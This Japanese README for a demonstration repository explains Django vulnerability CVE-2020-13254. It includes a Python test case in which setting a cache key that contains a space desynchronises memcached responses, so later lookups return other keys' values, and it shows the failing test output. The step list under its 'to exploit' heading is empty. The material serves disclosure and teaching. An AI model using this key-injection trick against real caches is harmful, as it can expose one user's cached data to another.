
Django CVE-2020-13254 の脆弱性デモンストレーション
このリポジトリは、CVE-2020-13254 の悪用を2つの方法で示しています。Webインターフェースを介した方法と、失敗するテストケースを介した方法です。
詳細については、以下を参照してください:
https://danpalmer.me/2020-06-07-django-memcache-vulnerability/
この例では、キャッシュに値を設定するフォームと取得するフォームの2つを持つWebインターフェースを提供します。これらは、Djangoキャッシュバックエンドへの呼び出しに直接変換されます。コードベースはセッションや認証システムを実装していないため、同じブラウザタブでの複数の使用は、異なるマシンを使う複数のユーザーと区別がつきません。
悪用するには:
このプロセスは、以下のようにテストケースとして表現できます:
from django.core.cache import cache
from django.test import TestCase
class CacheTests(TestCase):
def test_cache(self):
cache.set('k1', 'v1')
cache.set('k2', 'v2')
try:
cache.set('a b', 'v3')
except Exception:
pass
self.assertEqual(
[
cache.get(x) for x in
['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
],
['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
)
これは次のエラーで失敗します:
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 30, in test_cache
'v1',
AssertionError: Lists differ
First differing element 0:
None
'v2'
- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
? ------
+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
? ++++++
-------------------------------------------------------------
set の後、返されるキャッシュ結果が実行されたクエリと同期しなくなります。